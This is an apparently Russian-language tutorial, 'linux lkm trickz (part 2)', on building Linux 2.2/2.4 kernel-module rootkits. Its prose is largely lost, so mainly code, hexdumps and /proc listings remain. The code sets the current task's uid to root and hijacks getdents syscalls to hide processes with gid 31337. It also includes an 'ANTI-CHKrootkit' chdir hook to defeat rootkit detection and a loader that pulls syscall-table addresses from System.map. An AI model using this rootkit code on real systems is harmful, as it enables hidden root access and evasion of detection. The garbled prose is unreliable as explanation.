..----------------------------------..
..    linux lkm trickz (part 2)     ..
..__________________________________..



            lkm     
    2.2.x  2.4.x   . ,   
       ,         ,   
      .

   ,    ,    , , ,
     tty    .         
   memcpy,  memset,  etc.           
     .       ,      
       . ,      
     .        task_struct, ,
             .       
      2.2.7 (    ):

 volatile long state
 unsigned long flags
 int sigpending
 mm_segment_t addr_limit
 struct exec_domain *exec_domain;
 volatile long need_resched;
 long counter;
 long priority;
 cycles_t avg_slice;
 int has_cpu;
 int processor;
 int last_processor;
 int lock_depth;
 struct task_struct *next_task, *prev_task;
 struct task_struct *next_run,  *prev_run;
 struct linux_binfmt *binfmt;
 int exit_code, exit_signal;
 int pdeath_signal;
 unsigned long personality;
 int dumpable:1;
 int did_exec:1;
 pid_t pid;
 pid_t pgrp;
 pid_t tty_old_pgrp;
 pid_t session;
 int leader;
 struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
 struct task_struct *pidhash_next;
 struct task_struct **pidhash_pprev;
 struct task_struct **tarray_ptr;
 struct wait_queue *wait_chldexit;
 struct semaphore *vfork_sem;
 unsigned long policy, rt_priority;
 unsigned long it_real_value, it_prof_value, it_virt_value;
 unsigned long it_real_incr, it_prof_incr, it_virt_incr;
 struct timer_list real_timer;
 struct tms times;
 unsigned long start_time;
 long per_cpu_utime[NR_CPUS], per_cpu_stime[NR_CPUS];
 unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
 int swappable:1;
 uid_t uid,euid,suid,fsuid;
 gid_t gid,egid,sgid,fsgid;

        2.4.x:

 volatile long state
 unsigned long flags
 int sigpending
 mm_segment_t addr_limit
 struct exec_domain *exec_domain;
 volatile long need_resched;
 unsigned long ptrace;
 int lock_depth;
	long counter;
	long nice;
	unsigned long policy;
	struct mm_struct *mm;
	int has_cpu, processor;
	unsigned long cpus_allowed;
	struct list_head run_list;
	unsigned long sleep_time;
	struct task_struct *next_task, *prev_task;
	struct mm_struct *active_mm;
	struct linux_binfmt *binfmt;
	int exit_code, exit_signal;
	int pdeath_signal;
	unsigned long personality;
	int dumpable:1;
	int did_exec:1;
	pid_t pid;
	pid_t pgrp;
 pid_t tty_old_pgrp;
	pid_t session;
	pid_t tgid;
	int leader;
	struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
	struct list_head thread_group;
	struct task_struct *pidhash_next;
	struct task_struct **pidhash_pprev;
	wait_queue_head_t wait_chldexit;
	struct semaphore *vfork_sem;
	unsigned long rt_priority;
	unsigned long it_real_value, it_prof_value, it_virt_value;
	unsigned long it_real_incr, it_prof_incr, it_virt_incr;
	struct timer_list real_timer;
	struct tms times;
	unsigned long start_time;
	long per_cpu_utime[NR_CPUS], per_cpu_stime[NR_CPUS];
	unsigned long min_flt,
 maj_flt,
 nswap,
 cmin_flt,
 cmaj_flt,
 cnswap;
	int swappable:1;
	uid_t uid,euid,suid,fsuid;
	gid_t gid,egid,sgid,fsgid;

      ,    2.4.x ,     
   2.2.x (    lkm  2.4.x):

 current->uid  = 0;
 current->euid = 0;
 current->gid  = 0;
 current->egid = 0;

   ,   .     ?   
   ,    :  getdents   ,  
    ,    ( )  
     .    ,    
   getdents       :

 .globl _start
 _start:

   xorl %eax,%eax
   xorl %edx,%edx
   mov $5,%al
   movl $phile,%ebx
   movl $0x1010,%ecx
   int $0x80

   movl %eax,%ebx
   movl $141,%eax
   movl $infa,%ecx
   movl $len,%edx
   int $0x80

   movl $6,%eax
   int $0x80

   movl $5,%eax
   movl $logfile,%ebx
   movl $0x1010,%ecx
   movl $0700,%edx
   int $0x80
 
   movl %eax,%ebx
   movl $4,%eax
   movl $infa,%ecx
   movl $len,%edx
   int $0x80

   movl $6,%eax
   int $0x80
   movl $1,%eax
   int $0x80
 
 .data
   phile: .asciz "/"
   logfile: .asciz "SUPA_LOGG"
   infa: 
   .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
   .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
             < REPEaT THIS ^^^ STRING ABOUT 10 times >
   .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
   .asciz "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
   len = .-infa 


    ,   :)     hexdump 
   :

 0000000 0000 0000 0000 0000 0000 0000 0000 c000
 0000010 1c60 c020 0000 0000 0009 0000 0014 0000
 0000020 0000 0000 0000 0000 0000 0000 0000 0000
 0000030 ffff ffff 6000 c021 2000 c797 6000 c021
 0000040 6000 c021 0000 0000 4238 c020 0000 0000
 0000050 0011 0000 0000 0000 0000 0000 0003 0000
 0000060 039e 0000 039e 0000 0000 0000 02aa 0000
 0000070 0000 0000 6000 c70f 6000 c70f 0000 0000
 0000080 0000 0000 0000 0000 0000 0000 8354 c02b
 0000090 06f0 c020 6090 c6ce 0000 0000 0000 0000
 00000a0 0000 0000 0000 0000 0000 0000 0000 0000
 *
 00000c0 0000 0000 8fbc 0000 6000 c6ce 868c c011
 00000d0 0000 0000 0000 0000 0000 0000 0000 0000
 00000e0 0e36 0001 000f 0000 02ac 0000 000c 0000
 00000f0 0005 0000 0000 0000 0000 0000 0000 0000
 0000100 0000 0000 0001 0000 0000 0000 0000 0000
 *
 0000110

     ,      pid  ,       pid 
   task_struct   2.2.x: 0x60.   uid' -  , ..  
   .      .      , 
   getdents,  -     :

 0000000 0000 0000 0000 0000 0000 0000 0000 c000
 0000010 1c60 c020 0000 0000 0008 0000 0014 0000
 0000020 0000 0000 0000 0000 0000 0000 0000 0000
 0000030 ffff ffff 6000 c021 4000 c7b3 6000 c021
 0000040 6000 c021 0000 0000 4238 c020 0000 0000
 0000050 0011 0000 0000 0000 0000 0000 0003 0000
 0000060 0308 0000 0308 0000 0000 0000 024f 0000
 0000070 0000 0000 4000 c7b3 4000 c7b3 0000 0000
 0000080 0000 0000 0000 0000 0000 0000 830c c02b
 0000090 06f0 c020 6090 c6ce 0000 0000 0000 0000
 00000a0 0000 0000 0000 0000 0000 0000 0000 0000
 *
 00000c0 0000 0000 a2d6 0000 6000 c6ce 868c c011
 00000d0 0000 0000 0000 0000 0000 0000 0000 0000
 00000e0 aa2b 0000 0002 0000 0284 0000 000a 0000
 00000f0 0005 0000 0000 0000 0000 0000 0000 0000
 0000100 0000 0000 0001 01f5 01f5 01f5 01f5 01f5
 0000110 01f5 01f5                              
 0000114

   ,  offset  uid' - 0x106.     2 , 
     8  (uid, euid, suid, fsuid).       
   :

 char *tsk;
 <skipped>

  tsk = (char *)get_current();
  memset(tsk+0x106,0,4); //    
  tsk = 0;

   ,            
   2.2.x    2.4.x.        ,  
     ?     :

  static int kern;
  MODULE_PARM(kern,"i");

            linux/module.h.  
     . "" MODULE_PARM -  , 
      arg,   -   (   - integer).
       :

 daroot`# insmod -f test.o kern=<value>

                       
      :

 <* skipped *>

 if (kern > 2){
   current->uid  = 0;
   current->euid = 0;
   current->gid  = 0;
   current->egid = 0;
 } else {
   tsk = (char *)get_current();
   memset(tsk+0x106,0,4);
   tsk = 0;
 }

 <* skipped *>

    -  :))  open()     ,..
   offset  addr_limit  task_struct  2.4.x  2.2.x .

   ,       .       
   , ..  dirent,  ,   .     
      .     : 
   ,  ,  ?   sched.h        
    task_struct    for_each_task,   
        2.2.x  !    
          .  ,   2.4.x      vfs
    getdents64   getdents.    
          ,      ,   
   sys_getdents().   :

 extern void* sys_call_table[];

 static int kern;
 MODULE_PARM(kern,"i");

 <*skipped*>

 static long new_getdents64(unsigned int fd, void *dirp, unsigned int count){
   long ret;
   struct task_struct *k;
 
   for_each_task(k){
     if (k->gid == 31337){
       k->exit_code = k->pid;
       k->pid = 0;
     }
   }

   ret = old_getdents64(fd,dirp,count);

   for_each_task(k){
     if (k->gid == 31337) k->pid = k->exit_code;
   }

   return ret;
 }

 <*skipped*>

 int init_module()
 {
 
   if (kern > 2){
     b_getdents64 = sys_call_table[220];
     sys_call_table[220] = n_getdents64;
   } else {
     b_getdents = sys_call_table[141];
     sys_call_table[141] = n_getdents;
     printk("using old-style process hiding teq\n");
   }

 <*skipped*>

           :        
      gid == 31337.   , .. ps
     pid  /proc,     .   
     , .. gid . , , .    
     2.2.x?        .     :  
     static  char[],  ,     16  .      
     pid      .     
       ,          uid  euid,   
    pid   .     ( "" , 
      pid        little  endian   ,   our_array[i]  +
   256*our_array[i+1]),              
   "".

        getdents       
   ,         .
        . ,       
      :))        ;)   
           getdents,  ..     
     ,      .

      -    sys_kill  sys_exit 
       pid    kill(9)  .


        chkrootkit.

               
        .      
       ,     ,     
     .     -  
        1.5-2 ,        -
       chkrootkit'a     
    .

     ,      :

/*
================================================================================
               ANTI - CHKrootkit v <= 0.43 part here...
================================================================================
*/

static int n_chdir(char *path){
  int i,pid,n;
  struct task_struct *find;
  unsigned char *k,*demem,cid[2],ptr[6];

  _memset(&ptr,0,6);

  if ((_strncmp(path,"/proc",5) != 0) || (_strlen(path) > 11))
           return b_chdir(path);

  for (i=7; i < _strlen(path); i++)
           ptr[i-7] = path[i];

  pid = ma_atoi(path);

  if (irqno == 2){

    demem = (char *)&matasklist;

    for (i=0;i<MAX_TASKS;i++){

      _memcpy(&cid,demem+2*i,2);
      if ((cid[0] + 256*cid[1]) != pid) continue;
      demem = 0;
      return ENOENT;

    }

    demem = 0;

  } else {

  for_each_task(find){
    if ((find->pid == pid) && (find->gid == HIDEN_GID) \
      && (find->uid == 0)) return ENOENT; }
  }

  return b_chdir(path);
}

/******************************************************************************/


          :  2.2*  2.4*  
    .   :

    philename    i  2.4.x              i     2.2.x
 ----------------+---------------------+----------------
 /proc/net/tcp   i             
                 i     150         i   128 
 ----------------+---------------------+----------------
 /proc/net/udp   i             
                 i     128         i   128 
                 +---------------------+----------------
                 i          ?
                 i                  i     
 ----------------+---------------------+----------------

     :

/proc/net/tcp on 2.4.x:
sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
 0: 00000000:0081 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1373 1 c7ca7580 300 0 0 2 -1
 1: 00000000:00E2 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1804 1 c67e3580 300 0 0 2 -1
 2: 00000000:0064 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1365 1 c7b6d0c0 300 0 0 2 -1
 3: 00000000:0065 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1367 1 c7b6d5c0 300 0 0 2 -1
 4: 00000000:00C8 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1383 1 c6afc060 300 0 0 2 -1
 5: 00000000:008B 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1375 1 c7ca7a80 300 0 0 2 -1
 6: 00000000:00CD 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1385 1 c6afc560 300 0 0 2 -1
 7: 00000000:00B3 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1379 1 c67fe540 300 0 0 2 -1
 8: 00000000:007A 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1369 1 c7b6dac0 300 0 0 2 -1
 9: 00000000:00BD 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1381 1 c67fea40 300 0 0 2 -1
10: 00000000:00DE 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1800 1 c6afca60 300 0 0 2 -1
11: 00000000:007E 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1371 1 c7ca7080 300 0 0 2 -1
12: 00000000:00DF 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1802 1 c67e3080 300 0 0 2 -1
13: 00000000:009F 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1377 1 c67fe040 300 0 0 2 -1
 

/proc/net/udp on 2.4.x:
sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt  uid  timeout inode
 72: 00000000:00C8 00000000:0000 07 00000000:00000000 00:00000000 00000000  0    0 1922 2 c7b6d5c0
 95: 00000000:00DF 00000000:0000 07 00000000:00000000 00:00000000 00000000  0    0 1921 2 c7b6dac0
100: 00000000:0064 00000000:0000 07 00000000:00000000 00:00000000 00000000  0    0 1923 2 c7b6d0c0

           ,      
    .

/proc/net/tcp on 2.2.x:
sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt  uid  timeout inode
0: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000    0    0       1345
1: 00000000:0064 00000000:0000 0A 00000000:00000000 00:00000000 00000000    0    0       1343

/proc/net/udp on 2.2.x:
sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt uid  timeout inode
0: 00000000:006E 00000000:0000 07 00000000:00000000 00:00000000 00000000   0    0      1349
1: 00000000:006F 00000000:0000 07 00000000:00000000 00:00000000 00000000   0    0      1348
2: 00000000:0064 00000000:0000 07 00000000:00000000 00:00000000 00000000   0    0      1347

              -   
     .


       :      " " ( 
       , ..   ),  /dev/kmem, 
           ,          (i.e.
   sys_call_table,   kmalloc,   etc)          /boot/System.map.   
            ,    
    ,     System.map   ,
         ,          
     . ,      
     sys_call_table  kmalloc     . , 
     :

 daroot`# ./evil_rk_loader `cat /boot/System.map | grep -a "D sys_call" | awk
 -F " " '{print $1}'` `cat /boot/System.map | grep -a  "T kmalloc" |  awk  -F " "
 '{print $1}'`

    -  ,    long:

 unsigned long ma_atol(char *p){
 int i;
 unsigned long tmp,fs,res=0;
 char v[8];

 memcpy(&v,p,8);
 fs = 65536 * 256;
 
 for(i=0; i<8; i+=2){

   if (v[i] == 0x30) tmp = 0;
   if (v[i] == 0x31) tmp = 16;
   if (v[i] == 0x32) tmp = 32;
   if (v[i] == 0x33) tmp = 48;
   if (v[i] == 0x34) tmp = 64;
   if (v[i] == 0x35) tmp = 80;
   if (v[i] == 0x36) tmp = 96;
   if (v[i] == 0x37) tmp = 112;
   if (v[i] == 0x38) tmp = 128;
   if (v[i] == 0x39) tmp = 144;
   if (v[i] == 0x61) tmp = 160;
   if (v[i] == 0x62) tmp = 176;
   if (v[i] == 0x63) tmp = 192;
   if (v[i] == 0x64) tmp = 208;
   if (v[i] == 0x65) tmp = 224;
   if (v[i] == 0x66) tmp = 240;

   if (v[i+1] == 0x31) tmp += 1;
   if (v[i+1] == 0x32) tmp += 2;
   if (v[i+1] == 0x33) tmp += 3;
   if (v[i+1] == 0x34) tmp += 4;
   if (v[i+1] == 0x35) tmp += 5;
   if (v[i+1] == 0x36) tmp += 6;
   if (v[i+1] == 0x37) tmp += 7;
   if (v[i+1] == 0x38) tmp += 8;
   if (v[i+1] == 0x39) tmp += 9;
   if (v[i+1] == 0x61) tmp += 10;
   if (v[i+1] == 0x62) tmp += 11;
   if (v[i+1] == 0x63) tmp += 12;
   if (v[i+1] == 0x64) tmp += 13;
   if (v[i+1] == 0x65) tmp += 14;
   if (v[i+1] == 0x66) tmp += 15;
   
   res += tmp * fs;
   fs /= 256;
 }

 return res;
}


     ,       linux lkm' 
    . hangup.

